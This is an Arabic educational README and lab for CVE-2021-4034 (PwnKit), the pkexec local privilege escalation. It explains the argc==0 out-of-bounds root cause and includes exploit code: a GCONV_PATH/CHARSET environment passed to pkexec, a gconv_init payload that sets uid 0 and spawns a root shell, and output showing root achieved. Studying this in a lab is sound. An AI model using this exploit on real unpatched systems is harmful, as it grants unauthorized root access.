
إثبات مفهوم تعليمي وتحليل لـ CVE-2021-4034 (PwnKit) ثغرة تصعيد الامتيازات المحلية في pkexec الخاص بـ polkit، مع معمل قائم على Docker للممارسة العملية للاستغلال والدفاع.
🔗 المشروع الأصلي: berdav/CVE-2021-4034
هذا المشروع هو نسخة معدلة ومحللة بناءً على الأصل لأغراض تعليمية.
وفقًا لرخصة MIT | مهمة تعليمية من مدرسة White Hat
CVE-2021-4034 هي ثغرة لتصعيد الامتيازات المحلية في policykit-1 (PolicyKit) في لينكس. يمكن للمستخدم العادي تنفيذ pkexec بدون وسائط، مستغلاً ثغرات في بنية ذاكرة العملية، مما يتسبب في إرجاع glib لمرجعية سلاسل متغيرات البيئة التي كان يجب تصفيتها، وبالتالي تحميل ملف .so خبيث للحصول على امتيازات الجذر (root).
⚠️ للاستخدام التعليمي فقط: يجب استخدام هذا الكود فقط على أنظمة معدلة.
قد يؤدي استخدامه في مهاجمة أنظمة حقيقية إلى مسؤولية قانونية.
| العنصر | المحتوى |
|---|---|
| معرف CVE | CVE-2021-4034 |
| اسم الثغرة | PwnKit |
| الإصدارات المتأثرة | إصدارات polkit قبل التصحيح 0.105 (بيئة الاختبار: Ubuntu 20.04 مع policykit-1 0.105-26ubuntu1) |
| نوع الثغرة | تصعيد الامتيازات المحلية (LPE) |
| الخطورة | حرجة (CVSS 7.8) |
| الإصدار المُصحَّح | policykit-1 >= 0.105-26ubuntu1.1 |
| تاريخ الاكتشاف | يونيو 2021 (تم الكشف عنها في يناير 2022) |
من السهل الاعتقاد أن هذه مشكلة في Ubuntu فقط، ولكن نظرًا لأنها عيب منطقي في pkexec نفسه، فإن معظم توزيعات لينكس التي تستخدم polkit تتأثر. بيئة اختبار Docker كانت Ubuntu 20.04، لذا تم ذكر ذلك في الجدول.
عند التحليل الأولي، اعتقدت أن المشكلة ناتجة عن عدم التحقق من متغيرات البيئة، ولكن عند مراجعة الكود المصدري وcommits الخاصة بالتصحيح، تبين أن الترتيب مختلف قليلاً. السبب الحقيقي مختلف، ومشكلة متغيرات البيئة هي نتيجة ثانوية لذلك السبب. فيما يلي ترتيب الأسباب.
pkexec هو برنامج SUID-root يُستخدم لـ طلب رفع الامتيازات عبر PolicyKit.
# مثال: تنفيذ أمر بصلاحيات الجذر
pkexec /bin/id
pkexec systemctl restart service
يُستخدم عندما يحتاج المستخدم العادي لتنفيذ مهمة معينة بصلاحيات المسؤول.
argc == 0في دالة main() لبرنامج pkexec، عند معالجة وسائط سطر الأوامر، لا يتم التحقق من حالة تنفيذ البرنامج بدون أي وسائط (argc == 0). هذه هي نقطة البداية الحقيقية لهذه الثغرة.
argv = {"pkexec", "command", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0عندما تكون argc صفرًا، تبقى قائمة argv تحتوي فقط على مؤشر NULL واحد للدلالة على النهاية. ولكن المنطق الداخلي لـ pkexec يحاول القراءة والكتابة إلى argv[1] الغير موجود. المشكلة أن لينكس عند تنفيذ عملية ما، يضع مصفوفة argv ومصفوفة envp (متغيرات البيئة) ملاصقتين جانبًا لبعضهما في الذاكرة. وبالتالي فإن argv[1] خارج النطاق يشير في الواقع إلى envp[0]، أي أول متغير بيئة.
الوضع الطبيعي: argv = [ "pkexec" | NULL ]
الوضع الهجومي: argv = [ NULL ] ← argc = 0
↑
الوصول إلى argv[1] غير الموجود
↓
يؤدي إلى قراءة وكتابة envp[0] الموجود في الذاكرة مباشرةً (out-of-bounds)
لماذا هذا خطير:
GCONV_PATH وLD_PRELOAD قبل تنفيذ برنامج SUID (pkexec) لأنها غير آمنة.argc < 1. (يتوافق مع CWE-125 (قراءة خارج النطاق) و CWE-787 (كتابة خارج النطاق))📌 باختصار: عدم التحقق من متغيرات البيئة هو "شرط نجاح الهجوم"، والسبب الجذري الحقيقي هو أن pkexec لا يعالج حالة argc == 0. النقطة 3 أدناه هي نتيجة ثانوية لهذا السبب.
بسبب سلوك OOB الموصوف في النقطة 2، أثناء تهيئة pkexec لـ glib، يتم استخدام هذه السلاسل بدون تحقق مرة أخرى.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // كان يجب على ld.so تصفية هذا
"CHARSET=PWNKIT", // ترميز غير موجود
};
execve("/usr/bin/pkexec", args, env); // argv فارغ لإنشاء argc=0
المشكلة:
النقطة المهمة هنا أن glib نفسه ليس مخطئًا. إذا تم تعيين GCONV_PATH، فمن الطبيعي أن يبحث glib عن المحول (converter) في ذلك المسار - هذا هو السلوك الطبيعي لـ glib. المشكلة تكمن في أن pkexec قد كسر بالفعل حالة التنفيذ الآمن (حيث تمت إزالة متغيرات البيئة الخطيرة) - glib فقط يعمل بشكل طبيعي، ولكن هذا السلوك الطبيعي يُستغل.
التحقق من متغير البيئة CHARSET
CHARSET=PWNKIT
البحث عن تعريف المحول في ملف gconv-modules
module UTF-8// PWNKIT// pwnkit 1
تحميل ملف .so من مسار GCONV_PATH
GCONV_PATH=. → البحث عن pwnkit.so في الدليل الحالي
التنفيذ التلقائي لدالة التهيئة لملف .so
// pwnkit.c - تُنفذ تلقائيًا عند تحميل ملف .so
void gconv_init(void *step)
{
setuid(0); // الحصول على صلاحيات الجذر
setgid(0);
execve("/bin/sh"); // تشغيل شل الجذر!
}
من السهل تسمية gconv_init بـ "دالة المُنشئ" (constructor function)، ولكن بالمعنى الدقيق، هي تختلف عن __attribute__((constructor)) في لغة C. بشكل دقيق، إنها دالة تهيئة محددة بواجهة وحدة gconv، ويقوم glib باستدعائها صراحةً بعد تحميل ملف .so بواسطة dlopen.
┌─────────────────────────────────────┐
│ مستخدم عادي (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. تنفيذ pkexec بمصفوفة argv فارغة (argc=0)
│ + تعيين متغيرات بيئة خبيثة
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ تنفيذ pkexec │
│ لا يوجد تحقق من argc → OOB → إعادة الإشارة للسلاسل │
└─────────────────────────────────────┘
│
│ 2. glib يعالج بشكل طبيعي
│ البحث عن ترميز CHARSET=PWNKIT
│ البحث عن المحول في GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ تحميل pwnkit.so │
│ (ملف .so الخبيث في الدليل الحالي) │
└─────────────────────────────────────┘
│
│ 3. تنفيذ دالة تهيئة gconv تلقائيًا (بصلاحيات الجذر!)
↓
┌─────────────────────────────────────┐
│ الحصول على شل الجذر ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. تحميل المشروع
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. التحقق من أحدث إصدار
git pull origin main
# 3. البناء (بدون استخدام cache)
docker compose build --no-cache
# 4. التنفيذ
docker compose up
يُوصى باستخدام docker system prune -a --volumes --force فقط إذا لم تعمل الطريقة أعلاه بسبب مشاكل في cache أو volume. هذا الأمر عدواني إلى حد ما، حيث يمسح كل Docker cache في النظام وقد يؤدي إلى فقدان cache مشاريع أخرى. تم توثيق المشكلات التي واجهتها وطرق حلها أدناه في قسم "المشكلات التي واجهتها وطرق حلها".
pwnkit | الصلاحيات الحالية (قبل الهجوم): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← نجاح! ✅
